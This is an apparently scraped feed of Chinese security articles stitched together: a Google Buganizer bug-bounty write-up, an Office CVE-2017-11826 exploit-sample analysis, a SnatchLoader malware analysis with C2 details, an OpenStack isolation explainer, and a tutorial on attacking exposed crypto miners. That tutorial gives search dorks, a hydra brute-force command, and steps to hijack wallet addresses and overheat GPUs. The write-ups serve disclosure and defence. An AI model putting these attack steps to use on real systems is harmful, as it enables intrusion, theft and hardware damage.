通过观察分配的最新的数字ID,我们可以很容易地估计这个工具在内部获得了多大的使用量。在谷歌工作时间内,每小时大约会产生2000到3000个问题,其中只有0.1%是公开的。看来这个系统在数据泄露这方面可以大做文章。让我们来破解它吧!


攻击1:”黑掉”谷歌员工账号

在研究这个问题追踪器的时候,我第一个注意到的问题就是:可以通过发送邮件到一个特殊的邮箱来参与到一个讨论。它看起来像这样:

buganizer-system+componentID+issueID@google.com

其中componentID是代表一种类别的数字编号,issueID是正处于处理周期的Bug唯一识别码。

这让我想起了最近一个叫做Ticket Trick的发现,它允许黑客利用一种电子邮件系统渗透到某些组织的内部聊天系统中。介于这是一个@google.com的电子邮件地址,我尝试使用它登录Google的Slack团队,然后我真的看到了有希望成功渗透的确认页面:


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

遗憾的是,Slack并没有回复我任何邮件。

我能想到的获得谷歌账户的第二个好办法是利用@google.com为后缀的电子邮件去做点什么。它很有可能帮助我在Buganizer系统上获得一些额外的权限。如下图所示,从谷歌外部注册一个这样的账户是不允许的。


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

但是我找到了一种绕过这种过滤器的方法:

如果我随便用一个假的电子邮箱去注册,当点击邮件中的链接去认证这个新邮箱失败了的时候,系统是允许我无条件变更邮箱。用这个办法,我把一个新的谷歌账户的绑定邮箱改成了buganizer-system+123123+67111111@google.com

很快,我收到了一封如下图页面所示的认证邮件:


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

我点击了这个认证链接,然后登录问题追踪器,然后……


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

我被重定位到了企业的登录页面,但我的谷歌账户在这里失效了。不过,这个账户在互联网上的其他地方让我“收获颇丰”,所以这仍然是一个安全漏洞,它为那些不怀好意的人大开了方便之门。

采纳时间:11小时|赏金:3133.7美元|优先级:P1


攻击2:获取内部的通知

当我在熟悉用户界面的时候,问题追踪器的另一个特点很快抓住了我的眼球:它能够给每个条目标星号。给一个条目标出星号意味着你对这个条目很感兴趣,想要探究它,并且希望只要有人对它发表评论你就可以立刻收到邮件提醒。


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

对于这个功能,我注意到一个有趣的事情:在我没有权限访问的问题上尝试使用它时,居然没有报错。访问控制规则似乎没有应用于这个工具,所以我登录到我的第二个帐户,并尝试通过替换请求中的issue ID来从我的主帐户标记漏洞报告。然后我看到如下这个消息,这意味着这个方法是可行的:

有一个人标注了这个问题。

这个方法能否让人轻而易举去监控开放的Google漏洞呢?我很快发布了一个关于这个问题的评论,看看我的虚构的攻击者帐户是否会收到通知。


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

不过再次失败了,没有邮件出现。

由于某些我已经记不清了的原因,我决定对此进行进一步的测试。所以我利用一个最近的issue ID,并推出了数千个ID的范围,这应该与数据库中的最新问题相吻合。然后我把它们全部都标注了星号。

几分钟之内,我的收件箱列表如下图所示:


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

打开收件箱时,我的第一个想法是“中奖了!”。

然而,经过进一步的检查,发现在这些线程中并没有什么特别有趣的事情发生。显然,我只能窃听与Bug讨论相关的对话。我甚至考虑了很久干脆不去提交这个问题,我希望自己能找到某种方法提高一下这个问题的严重性。最后,我意识到谷歌安全团队可能已经意识到了这个安全漏洞,所以我最终还是发送了相关的细节。


攻击3:游戏结束

当你作为外部用户访问问题跟踪器时,其大部分功能被剥离,留给你的权限非常有限。如果你想查看谷歌的员工们可以使用的全部功能有哪些,您可以在javascript脚本中查找一些API,虽然其中一些功能被完全禁用,其他功能则隐藏在界面中。

当设计这个有限权限的系统时,如果我们对某个问题失去兴趣,或者根本就不想再收到有关这个问题的电子邮件,那么有人非常好心的给我们预留了从CCs列表中删除问题列表的方法。可以通过发送如下的POST请求来实现这个功能:

POST/action/issues/bulk_editHTTP/1.1 { "issueIds":[ 67111111, 67111112 ], "actions":[ { "fieldName":"ccs", "value":"test@example.com", "actionType":"REMOVE" } ] }

然而,我注意到这里的一些疏忽导致了一个巨大的问题:

1. 不正确的访问控制:在尝试执行给定操作之前,没有明确地检查当前用户是否实际访问了issueID中指定的问题。

2. 静默失效:如果您提供的电子邮件地址当前不在CCs列表中,终端将返回一条消息,告诉你电子邮件已成功删除。

3. 可获得完整的问题详细信息:如果在操作过程中没有发生错误,系统的另一部分会假设用户有适当的权限。因此,关于给定的issue ID的每个细节都将返回给HTTP响应主体中。

显然,我现在可以通过仅仅是简单替换上一条问题的issueID的方式,就能够看到数据库中每一个问题的详细信息了!我只尝试查看了几个连续的ID,然后从一个无关的帐户攻击自己,以确认这个问题的严重性。是的,我可以看到有关漏洞报告的详细信息,以及Buganizer上托管的其他内容。 更糟糕的是,我可以在单个请求中渗透有关多个Bug的数据,然后可能在不触发任何限制的情况下实时监控所有内部活动。

我及时将漏洞详细信息发送给谷歌,其安全团队在一小时后修改了Bug。真是令人印象深刻的响应速度!

采纳:1小时|赏金:7500美金|优先级:P0

当我刚开始攻克这个信息泄露的问题时,我以为它将会成为谷歌漏洞里最顶级的发现,因为它公开了关于其他所有bug的信息。然而,在找到它之后,我很快意识到它的影响将被最小化,因为所有危险的漏洞都在一小时内被处理掉了。因此,我还是很开心能够获得这笔额外的赏金,并期待在其他谷歌产品中找到漏洞。



【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.freecodecamp.org/messing-with-the-google-buganizer-system-for-15-600-in-bounties-58f86cc9f9a5

【样本分析】CVE-2017-11826再现在野新样本

$
0
0
【样本分析】CVE-2017-11826再现在野新样本

2017-11-03 13:56:12

阅读:961次
点赞(0)
收藏
来源: 安全客





【样本分析】CVE-2017-11826再现在野新样本

作者:360高级威胁应对团队





【样本分析】CVE-2017-11826再现在野新样本

前言

9月下旬,360核心安全事业部高级威胁应对团队捕获一个在野Office 0day样本,漏洞被公布后,编号为CVE-2017-11826。随后,有部分网友对该漏洞的某样本进行了深入分析,引起了广泛讨论。近日,高级威胁应对团队又捕获了另一个该漏洞的在野样本,该样本与之前的样本相比,增加了静态混淆,并调整了漏洞触发后的劫持地址,此外,较上一样本相比,该样本明显增加了堆喷射的范围。这一系列做法的目的是让其能够躲避静态检测并增加漏洞触发后利用的成功率。

接下来我们对此次样本进行简单分析。


样本分析

此次样本在文件构成上和之前的样本几乎没有区别,都是类似下面的组织结构:


【样本分析】CVE-2017-11826再现在野新样本

图1:样本文档组织结构

不过值得注意的是,此次的样本增加了静态混淆,如下:


【样本分析】CVE-2017-11826再现在野新样本

图2:样本中的混淆字符

上图中红色部分为混淆字符,这种混淆方式可以绕过大多数静态检测,此时直接用rtfobj工具并不能直接提取里面的ole对象,如下图:


【样本分析】CVE-2017-11826再现在野新样本

图3:rtfobj提取原始样本中的ole对象失败

手动去混淆后,删除无关控制字,并且删除文件末尾的乱码字符后,可得到精简后的样本:


【样本分析】CVE-2017-11826再现在野新样本

图4:去混淆并且精简后的样本

下图中带红框部分为之前被混淆的区域:


【样本分析】CVE-2017-11826再现在野新样本

图5:去混淆前后对比

这里对RTF文档内嵌OLE的头部数据稍作解释,了解这些之后,手动解混淆这个样本就没有什么困难了:


【样本分析】CVE-2017-11826再现在野新样本

图6:rtf文档中内嵌OLE对象格式

解混淆后,再次用rtfobj工具抽取里面的ole,此时的抽取结果如下:


【样本分析】CVE-2017-11826再现在野新样本

图7:rtfobj对精简后样本的提取结果

到这里就不用多说了。经过若干操作,抽取出漏洞文档中的document.xml文件,与之前的对比,发现了一些有意思的地方:


【样本分析】CVE-2017-11826再现在野新样本

图8:本次样本与之前样本在document.xml上的差异

较上次相比,本次在name属性提供的数据里面改了一个字节(一个比特位),这样有什么效果呢?推导如下:


【样本分析】CVE-2017-11826再现在野新样本

图9:推导出的漏洞触发后eax寄存器值的变化情况

看来改变这一个比特位后能把漏洞利用后的劫持地址提高0x10000,先前已经有分析文章说过,之前样本的利用并不是很稳定,看来这次利用编写人员果然将劫持地址提高了,目的当然是为了提高利用的成功率。

接下来再来看一下本次样本中的堆喷射文档,这次提取出的1号对象并不能通过直接命名为.zip的方式去解压,会提示解压失败。我们将堆喷射文档用OleFileView打开来一探究竟:


【样本分析】CVE-2017-11826再现在野新样本

图10:堆喷射文档在OleFileView中的视图

原来用于堆喷射的docx文档是作为一个package流存储在1号ole对象中的。点击Package,将package对象保存成一个文档。具体操作步骤为:点击file->export:


【样本分析】CVE-2017-11826再现在野新样本

图11:package流导出步骤

把提取出的文件后缀名改为.zip,现在可以用压缩软件打开了,解压后观察里面的文件分布,我们看到了比之前样本多得多的activeX.xml文件:


【样本分析】CVE-2017-11826再现在野新样本

图12:观察到的activeX.bin及其引用文件

这次的堆喷射文档布局是这样的:


【样本分析】CVE-2017-11826再现在野新样本

图13:堆喷射文档结构

本次用于堆喷射的axtiveX.bin如下(可以发现该文件在10月17号就已生成):


【样本分析】CVE-2017-11826再现在野新样本

图14:本次用来堆喷射的activeX1.bin文件

稍作统计后发现,本次样本用一个526KB的activex进行了500次堆喷射;而之前的样本是用一个2050KB的activex进行了40次堆喷射。本次样本的堆喷射覆盖面积是之前的3倍多:


【样本分析】CVE-2017-11826再现在野新样本

图15:本次样本与之前样本在堆喷射范围上的对比

这样有什么好处呢?当然是为了漏洞触发成功后利用的稳定,之前的样本已经被吐槽利用稳定性差了,这次把劫持地址稍做调高并且把堆喷地址扩大三倍后,稳定性好了很多,以下该样本在我们的平台里跑出的结果:


【样本分析】CVE-2017-11826再现在野新样本

图16:漏洞利用成功后的进程树

现在,我们构造crash样本故意使其崩溃,并记录主要寄存器及指令地址如下,可以看到崩溃时eax的值为0x88988ec,验证了前面静态分析的推导:


【样本分析】CVE-2017-11826再现在野新样本

图17:本次样本崩溃时的寄存器信息

自9月下旬开始,核心安全事业部高级威胁自动化平台已能对该漏洞样本进行监控捕获。我们预计后面会有更多该漏洞的利用样本,同时也和大家一起等待它们的出现。在这里我们也建议用户下载360安全卫士,尽快更新针对该漏洞的补丁,或者通过以下链接下载微软的官方补丁并安装:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826

时间线:

2017-09-28 360安全团队捕获该漏洞的在野攻击

2017-10-10 微软官方公布针对该漏洞的补丁

2017-10-31 360安全团队再次捕获该漏洞的在野攻击

2017-11-02 360CERT团队完成了漏洞初步分析报告

2017-11-03 360安全团队对再次捕获的漏洞样本发布初步分析

参考链接:

《CVE-2017-11826漏洞分析、利用及动态检测》http://bobao.360.cn/learning/detail/4636.html

《CVE–2017–11826 样本分析报告(包含补丁分析)》http://bobao.360.cn/learning/detail/4649.html

《最新Office 0day漏洞(CVE-2017-11826)在野攻击通告》http://blogs.360.cn/blog/office_0day_cve-2017-11826_ch/

《CVE-2017-11826 | Microsoft Office Memory Corruption Vulnerability》https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826

《Word 2007: Rich Text Format (RTF) Specification, version 1.9.1》https://www.microsoft.com/en-us/download/details.aspx?id=10725



【样本分析】CVE-2017-11826再现在野新样本
【样本分析】CVE-2017-11826再现在野新样本
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4652.html

【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

$
0
0
【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

2017-11-03 14:48:01

阅读:1404次
点赞(0)
收藏
来源: medium.com





【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

作者:shan66






【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

译者:shan66

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

警示:本文所述方法,请勿擅自使用,否则后果自负。

本文介绍的公开资源情报(Open source intelligence,OSINT )技术是在实施攻击之前收集信息的最佳途径之一。 过去的许多黑客案例中,就曾用到过该技术。随着IoT设备的迅猛发展,我们将来能够在公共网络上收集到更多的关键数据。本文将为读者详细介绍如何收集加密数字货币矿机(Bitcoin [Antminer]和Ethereum [Claymore])方面的关键数据。

许多加密数字货币矿机工具和软件都需要连接互联网来发送/接收数据,所以它们就有可能受到攻击者的攻击。


侦查Antminer!

目前,最好的比特币ASIC矿机是Antminer S9/S7。该矿机的硬件使用了“lighttpd/1.4.32”Web服务器,所以其中一些版本会打开SSH端口。并且,现在有一个针对“Lighttpd 1.4.31”版本的 exploit,但是,您无法使用该 exploit来攻击这个Web服务器。

该Web服务器为其网页提供了“Digest HTTP身份验证”保护。关键是,要想登录该矿机,必须具有相应的用户名和密码才行。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

antMiner的配置页面中含有关键词“Digest Authentication”

因此,我们需要借助OSINT技术,通过一些信息或关键字来收集数据。这些信息可以是每次向这个服务器发送请求时,它就会出现在HTTP报头“antMiner Conbguration”中的关键字。

我已经到censys.io和shodan.io上搜索了一些特定的dork并收集了相应的IP地址。

(antminer)ANDprotocols.raw:“80/http”AND80.http.get.title:“401”

【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

antMiner的配置页面用到了关键词“Digest Authentication”


我们可以通过HTTP端口或SSH端口进行暴力攻击来获取系统访问权限。

首先,我需要通过用户指南来了解默认的HTTP用户名和密码。所以,我使用“ antminer default password”在Google上搜索,发现了一个含有该矿机的用户指南的网站。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

AntMiner User Manuel,可以通过搜索轻松获取

在本文中,我们将使用hydra来进行暴力攻击(对HTTP Digest Authentication进行蛮力攻击),因为该工具提供了最常用的10000种密码。当然,您也可以使用Burp Suite Intruder来完成该任务。

hydra-lroot-PcommonPasswords.txt-vV{TARGET}http-get/

如果你运气好的话,很快就可以访问该配置页面了。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

antMiner 配置页面

攻击者可以随心所欲的编辑该页面。


Claymore矿机软件

实际上,还有一种类型的攻击可以针对Claymore矿机软件(如Altcoins、ethereum、zcash miner)发动攻击。

我已经在shodan.io上针对一些特定的dorks 进行了搜索。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

Dorks:“ETH—Total Speed:”

您可以使用Claymore Remote Manager API发送一些JSON数据包来远程管理该矿机服务器。

在这里,我们可以通过发送一些命令来控制GPU(禁用、双模式等),或编辑conbg.txt来修改矿池钱包地址。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

Claymore Remote Manager API.txt

我们可以通过“miner_restart”或“control_gpu”命令来检测它是只读的,还是可写/读的。为此,可以使用NC在MacOS上发送JSON命令。

首先,我们可以使用“miner_getstat1”命令。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

这里给出了矿机服务器的统计信息

之后,我们尝试用“control_gpu”发送命令来检测它是只读的,还是可写/读的。

不过,我们收到了一个错误消息,具体错误代码如下所示。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

矿机服务器使用了只读模式

当尝试其他IP地址时,我成功重启了系统。这表明Claymore Remote Manager API允许我们读/写auth。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

重新启动矿机服务器

Claymore Remote Manager还允许我们使用JSON(发送json)来编辑这个配置文件。不过,您可以在windows上利用Claymore的Ethereum Dual Miner Manager 来更轻松地编辑这个文件,从而修改矿池钱包地址。

如果您具有读/写权限的话,就可以编辑confg.txt。


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

您可以查看/编辑矿池的钱包地址


【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机

小结

我没有通过发送JSON命令对Claymore Miner Software尝试命令注入攻击。如果它存在这种漏洞的话,您无需具备读/写权限就可以访问该服务器。

您可以使用OSINT来改善搜索技术,从而收集大量数据。

您甚至可以通过编辑conbg.txt来控制风扇,从而让所有GPU“中暑”。



【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机
【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.com/@s3yfullah/hacking-cryptocurrency-miners-with-osint-techniques-677bbb3e0157

【技术分享】SnatchLoader恶意软件更新分析

$
0
0
【技术分享】SnatchLoader恶意软件更新分析

2017-11-03 17:49:50

阅读:748次
点赞(0)
收藏
来源: arbornetworks.com





【技术分享】SnatchLoader恶意软件更新分析

作者:blueSky





【技术分享】SnatchLoader恶意软件更新分析

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


摘要

SnatchLoader是一种“downloader”类型的恶意软件专门用于将恶意软件分发(或加载)到受感染的计算机系统上。 我们在2017年1月左右发现了该恶意软件的网络攻击活动,该攻击活动一直持续了几个月的时间才慢慢消失。最近,我们的研究人员发现该恶意软件又开始发起新一轮的网络攻击活动了,在此次网络攻击活动中我们捕获到了该恶意软件的更新,并发现该恶意软件正被用于加载Ramnit银行特洛伊木马。此外,该恶意软件还使用了一个称为“地理IP阻止”的有趣功能,以使得只有某些地理区域的计算机才会被感染。到目前为止,我们已经能够确定,至少英国和意大利是该恶意软件攻击的目标,但美国,法国和香港目前还不是。


【技术分享】SnatchLoader恶意软件更新分析

SnatchLoader命令和控制面板的登录页面


介绍

几个月前,有一个关于关于垃圾邮件广告的Twitter ,当时是一个未知的“downloader”恶意软件,该恶意软件专门用于将恶意软件分发(或加载)到受感染的计算机系统上。根据我们的分析,该“downloader”恶意软件是“SnatchLoader”恶意软件的更新程序,KernelMode.info论坛在2017年1月期间有对SnatchLoader进行简要讨论的相关帖子的。正如论坛上该帖子所述,尽管没有进行详细的代码比较,但SnatchLoader和H1N1 Loader的恶意软件家族似乎有一些相似之处。除此之外,目前我们还没有看到任何关于SnatchLoader恶意软件的进一步讨论,因此本文我们将对SnatchLoader最新版本更新进行分析。


样本

Twitter 中引用的示例在VirusTotal上可以找到。 然而,我们的大多数静态分析工作是在更新版本的“核心DLL”上执行的,该更新程序的最新编译日期为2017-10-04,该DLL在2017年10月11日首次被上传到了VirusTotal上。


windows API调用

通过我们的分析发现,该恶意软件对Windows API的调用都是在运行时通过函数名哈希的方式进行的,散列算法是ROL和XOR运算的组合,在GitHub上可以找到该散列算法的一个python代码实现。以下是一些API函数名称及其对应的哈希表:

RtlZeroMemory - > 0x6b6c652b

CreateMutexW - > 0x43725043

InternetConnectA - > 0x1d0c0b3e


静态配置

一个静态配置被加密存储在DLL的PE Section中,目前我们已经看到该Section的两个名称:.idata和.xdata .,具体如下图所示:


【技术分享】SnatchLoader恶意软件更新分析

Section的第一个DWORD(上图中的0x99a8)用作密钥生成函数的种子,此功能的Python实现在GitHub上可以找到 ,使用RC4算法和生成的密钥可以解密剩余的数据。解密的配置可以分成两个块:第一个块是XML结构的配置数据,具体如下图所示(为了可读性添加了空格):


【技术分享】SnatchLoader恶意软件更新分析

SRV是命令和控制(C2)服务器的URL,TIME是回连的轮询间隔(单位时间为分钟),NAME是一个活动标识符(02.10可能意味着10月2日),KEY用于加密回连通信。

第二个配置块是一个RSA证书,用于对下载的数据的执行签名检查。


命令与控制

到目前为止,我们观察到的所有C2 URL都是HTTPS的。 但是通过使用调试器,我们可以使用HTTP与服务器进行通信,并以明文方式查看回连的通信网络流量,具体如下图所示:


【技术分享】SnatchLoader恶意软件更新分析

恶意软件对POST数据进行了四次加密操作:

1.RC4加密,KEY来源于配置文件

2.Base64编码

3.字符替换

4.使用“\ r \ n”分隔符把数据拆分成64字节的数据块

有三个字符被替换了,并且它们都是可逆的:

+ 到 -

/ 至 _

. 到 =

响应数据好像也被加密处理了,但并没有经过4次加密处理。

通信分为四种请求类型:

1.获取动态配置

2.发送系统信息

3.命令轮询

4.发送命令结果


获取动态配置请求

以下是“获取动态配置”请求的纯文本请求数据:

req=0&guid=FCD08AEE3C0E9409&name=02.10&trash=ulbncmamlxwjakbnbmaklvvhamathrgsfrpbsfrfqeqpatisgsfrqbtfrgqfrpbuithtisrctisgsfrqbujtiuistduith

各个请求字段的含义分别是:

req:请求类型

guid:bot ID

name:来自静态配置的NAME

trash: 随机长度的随机字符

响应如下所示:

SUCCESS|<CFG><SRV>https://lookmans[.]eu/css/order.php|https://vertasikupper[.]eu/css/order.php</SRV><TIME>120</TIME><NAME>02.10</NAME><KEY>547bnw47drtsb78d3</KEY></CFG>|

该响应可以分为两个字段:状态字段和数据部分。这里的状态字段是“SUCCESS”,数据部分被封装在“<CFG>块”中,这个配置在代码中称为DYNAMIC配置。


发送系统信息请求

第二个回连请求发送一堆系统信息,如下所示:

req=1&guid=FCD08AEE3C0E9409&name=02.10&win=9&x64=1&adm=1&det=0&def=0&nat=1&usrn=SYSTEM&cmpn=JOHN-PC&uagn=Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)&sftl=AddressBook|ConnectionManager|DirectDrawEx|Fontcore|IE40|IE4Data|IE5BAKEX|IEData|MobileOptionPack|SchedulingAgent|WIC|&prcl=[SystemProcess]\r\nSystem\r\nsmss.exe\r\ncsrss.exe\r\nwininit.exe\r\ncsrss.exe\r\nwinlogon.exe\r\nservices.exe\r\nlsass.exe\r\nlsm.exe\r\nsvchost.exe\r\nVBoxService.exe\r\nsvchost.exe\r\nsvchost.exe\r\nsvchost.exe\r\nsvchost.exe\r\naudiodg.exe\r\nsvchost.exe\r\nsvchost.exe\r\nspoolsv.exe\r\nsvchost.exe\r\ntaskhost.exe\r\nsvchost.exe\r\ndwm.exe\r\nexplorer.exe\r\nVBoxTray.exe\r\nSearchIndexer.exe\r\nwmpnetwk.exe\r\nsvchost.exe\r\nsppsvc.exe\r\nsvchost.exe\r\nmscorsvw.exe\r\nmscorsvw.exe\r\nSearchProtocolHost.exe\r\nmsiexec.exe\r\nsvchost.exe\r\nTrustedInstaller.exe\r\ntaskhost.exe\r\nSearchFilterHost.exe\r\nmsiexec.exe\r\ndllhost.exe\r\ndllhost.exe\r\nmsiexec.exe\r\nsvchost.exe\r\n&trash=ilnyyiittddnoyyiblambllvwgblalakjvufynamblcmambllwugxlwkwjvu\r\n

各个请求字段的含义分别是:

req - 请求类型

guid - bot ID

name - 来自配置的NAME

win - Windows版本

x64 - 是64位架构

adm - 是管理员

det - 与反分析相关

def - 检测反分析过程名称

nat - 具有RFC1918 IP地址

usrn - 用户名

cmpn - 电脑名称

uagn - 用户代理

sftl - 从注册表中的Uninstall 键值中列举软件

prcl - 进程列表

垃圾 - 随机长度的随机字符

响应如下所示:

SUCCESS|

命令轮询请求

除了请求号是2之外,命令轮询请求看起来类似于“获取动态配置”请求,一个示例响应如下所示:

SUCCESS | <TASK> 20 | 1 | 2 || MZ ... \ X00 \ X00 </ TASK> |

该响应具有两个字段,第一个字段是状态字段,第二个字段是数据部分。这里的数据可以是零个或多个以下字段的TASK块:

任务ID

命令类型

命令arg1(例如文件类型)

命令arg2(例如哈希值)

命令数据(例如可执行文件或URL)

SnatchLoader的主要功能是下载并加载其他恶意软件系列,因此大多数命令类型和参数都支持以各种方式执行。在这个例子中,命令是首先提取嵌入的可执行文件然后执行提取到的可执行文件。其他一些支持的命令是:

插件功能

更新配置

更新程序

发送命令结果

最后一个回连类型用于发送命令的结果:

req=3&guid=FCD08AEE3C0E9409&name=02.10&results=&trash=pffebxmawlawigdawkifcymbxmawlgebxlawkifcymbxmhebymbxlawkifcy

除了请求号是3之外,该请求类似于“命令轮询”的请求,并且添加了一个附加参数(results)。 对于此请求,C2没有任何的响应内容。


地理阻止和当前有效载荷

到目前为止,我们发现了该C2服务器的一个有趣的特征,它们似乎正在基于源IP地址执行某种地理阻塞操作。当我们尝试通过美国,法国或香港的TOR或VPN节点与C2服务器进行互动时,服务器会响应“404 Not found”错误。但是,如果我们尝试使用英国和意大利的VPN节点,C2服务器则会对请求进行回应。一般来说,地理阻挡不是一个新的特征,但并不是特别常见的。

在撰写本文时,SnatchLoader僵尸网络正在分发Ramnit恶意软件(一个银行恶意软件),该银行恶意软件的编译日期为2017年10月13日,该样本可在VirusTotal上获得 。


结论

在这篇文章里,我们对SnatchLoader下载器恶意软件进行了研究和分析,该恶意软件最早我们可以追溯到2017年1月,并且在上周我们发现了该恶意软件的更新。目前,该恶意软件正在通过垃圾邮件广告进行传播,并根据地理位置封锁功能对某些特定的地理区域发起网络攻击。在撰写本文时,SnatchLoader正在将Ramnit恶意软件在英国和意大利这两个国家内进行传播。



【技术分享】SnatchLoader恶意软件更新分析
【技术分享】SnatchLoader恶意软件更新分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/

【安全科普】阿里云“经典网络”真的不安全?

$
0
0
【安全科普】阿里云“经典网络”真的不安全?

2017-11-04 09:51:33

阅读:885次
点赞(0)
收藏
来源: 安全客





【安全科普】阿里云“经典网络”真的不安全?

作者:hulk一线技术杂谈





【安全科普】阿里云“经典网络”真的不安全?

前言

最近,关于阿里云的用户网络,由于隔离问题引发安全讨论,大家顿时对啥“经典网络”、“VPC”等概念兴趣大增,大家的热议中多次提到AWS的VPC,亚马逊的AWS怎么搞的,我们不得而知,但是我们可以聊聊OpenStack的,毕竟它一直在模仿AWS嘛。

“隔离”啥

首先,我们先搞清楚,所谓“隔离”,到底是在“隔”什么;

我们知道,计算机网络,是分层实现的,不同协议工作在不同层,这些层的设计、制定都有国际标准,按着OSI的分层模型,共有七个层,大家在讨论的隔离,通常指的是第2层,也叫“数据链路层”;

数据链路层的网络包,也叫“帧”,我们常说的网卡的MAC地址,就是帧的地址,MAC,其实是“媒体访问控制”(media access control)的简称,这是数据链路层的一个子层;

那为什么要在这个二层上搞隔离呢?

因为二层的帧,其中一些帧的地址是广播地址,在同一个二层的设备都可以、也必须接收这些帧,交换机一般认为工作在二层,对这些广播包,也都要转发,所以二层通常被称为一个“广播域”,这就好比大家在一个教室里,都能互相看到,除非分隔到不同的教室;

OpenStack的玩法

openstack的neutron负责为虚拟机提供网络,而且openstack是假设多租户的,那多租户之间的隔离问题,它当然要提供支持,下面我们就看一下neutron是怎么实现的;

平坦网络

neutron中创建的网络是有“type”的,其中最基础的一种type就是“flat”,顾名思义,“平坦”就是指都在一个空间下,也就是没有做二层上的隔离,虚拟机都在同一个二层,同一个广播域;

从网上找了个示意图:

【安全科普】阿里云“经典网络”真的不安全?

这种”平坦“的大二层网络,虽然实现、管理相对简单,但也会有诸多问题,除了安全方面,还有广播风暴等问题;

单个大二层网络,就好比整个学校的人都在一个大礼堂,大家都能看到,而且万一谁得了传染病,大家都被传染,要想隔离,可以把人分散到各个教室;

VLAN隔离网络

neutron中创建”vlan“这种类型的网络,就是主要使用的二层隔离方案,VLAN(虚拟局域网)本身就是交换机广泛使用的二层隔离技术;

示意图大概这样:

【安全科普】阿里云“经典网络”真的不安全?

这就好比把整个学校的人,从大礼堂,分隔到了不同的教室,同一个教室的人互相可见,不同教室的人不可见;

但这种方案也有一定的局限性,首先管理相对麻烦,需要配合设置物理交换机,另外VLAN的可用数量有限制,VLAN的ID号仅有四千多个,我们假设每个租户分配1个VLAN,那最多也就能支持四千多个租户;

OverLay网络

overlay(覆盖)网络,所谓”覆盖“,大体上指”在一层上面覆盖另一层,也可以说是用一层载着另一层移动“,VXLAN是最常见的协议,它是把虚拟机的二层的帧,在宿主机上用UDP包裹起来,然后以宿主机的IP,必要的话,经过3层的路由,到达目的宿主机,然后再解封,把内包裹的二层帧,输送给目的虚拟机;

有点抽象?我们先看看VXLAN的包结构,就知道”包裹“是啥意思了:


【安全科普】阿里云“经典网络”真的不安全?

那个”Inner Frame“就是被包裹的虚拟机的二层的包;

最终封装完的包,外层的源IP、目的IP地址,都是宿主机的,所以只要宿主机之间互通(3层可达),被封装的内层帧就可以被运输:


【安全科普】阿里云“经典网络”真的不安全?

那这种方案有什么优点呢?

主要的:

vxlan的范围足够大,一千六百多万,租户随便用

因为是完全隔离的,租户可以随意定义自己的网络,哪怕和其他租户的IP段重叠都没有关系,比如上图中,租户A的网络,与租户B的网络

如果通过一定技术实现支持3层路由器,租户可以将自己的网络,随意组织自己的网络拓扑,比如上图中,租户A的两个网络,连接到一个路由器(可以是虚拟的)上

关于上面提的第三点,在neutron中大概是这样的:


【安全科普】阿里云“经典网络”真的不安全?

VPC

最后,那到底啥是VPC呢?很明确的告诉你,上面这个图就是VPC!

VPC(virtual private cloud),不是个技术专有名词,而是亚马逊AWS创造的一个产品层面的名词;租户网络彻底隔离、IP段都能重叠、路由器、网络拓扑都能由自己定义,这还不是”虚拟私有云“吗!


总结

至此只是主要给大家科普了一下 "经典网络" vs “VPC”的本质区别,看到这里应该大家对这两种网络的优劣都心里有数了,“经典网络”肯定是不安全的,但是该网络模式有自己的历史使命,肯定不能像VPC一样二三层都隔离,并且现在如果用户使用默认的安全组,其实在三层上隔离,也一定程度上能提高很大的安全性。所以客观的讲,“经典网络”从全方位考虑还是不错的。

本文也是主要基于openstack的网络模式展开,因为云计算网络模式都一样,触类旁通。其实在当前HULK虚拟化网络使用场景中,针对公司独特的网络环境,我们基于neutron做了很多的二次开发与定制,在接下来的文章中会有详细介绍,请持续关注。



【安全科普】阿里云“经典网络”真的不安全?

HULK一线技术杂谈



【安全科普】阿里云“经典网络”真的不安全?
【安全科普】阿里云“经典网络”真的不安全?
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4638.html

【安全科普】MongoDB 权限控制系统简介

$
0
